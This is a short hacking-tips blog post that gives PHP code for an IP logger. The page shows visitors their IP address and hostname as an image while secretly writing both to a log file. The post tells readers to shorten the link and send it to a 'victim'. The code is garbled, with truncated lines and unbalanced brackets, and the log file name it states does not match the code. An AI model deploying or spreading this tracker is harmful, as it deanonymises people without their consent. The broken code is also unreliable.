Get your friend's IP in a click
First of all, you need a web host supporting
php , which u get for free using any free site
like my3gb .com.
Now go to file manager of your host create a
new file as 'index.php'.
Paste the below code in that file.
<?php
$hostname = gethostbyaddr($_SERVER
['REMOTE_ADDR');
$img_number = imagecreate(400,95);
$backcolor = imagecolorallocate
($img_number,10,102,153);
$textcolor = imagecolorallocate
($img_number,255,255,255);
imagefill($img_number,0,0,$bac
$number0 = " This is Your IP/Proxy";
$number1 = " IP: $_SERVER[HTTP_X
_FORWARDED_FOR]";
$number2 = " Host/Proxy: $hostname";
$number4 = " ______________________________
_by ~js__";
Imagestring($img_number,10,5,5
$textcolor);
Imagestring($img_number,10,5,2
$number1,$textcolor);
Imagestring($img_number,10,5,4
$number2,$textcolor);
Imagestring($img_number,10,5,5
$number4,$textcolor);
Imagestring($img_number,10,8,5
$number4,$textcolor);
Imagestring($img_number,10,5,1
$number4,$textcolor);
Imagestring($img_number,10,8,1
$number4,$textcolor);
header("Content-type: image/png");
imagepng($img_number);
$file=fopen("Name-here-to-prot
File.txt","a");
$file2 = "- IP joined - IP/Proxy: $_SERVER
[HTTP_X_FORWARDED_FOR] - Host:
$hostname - '\n' ";
fwrite($file, $file2);
fclose($file);
?> .
Now, shorten the link to that page nd send it
to victim. When he/she click on it, a image
showing his IP address nd host address will
be displayed. And his details is saved in the
file manager of ur site in ip_log.txt . That's
it! ..
#prnv
#TechnologyReforms
Comments
Post a Comment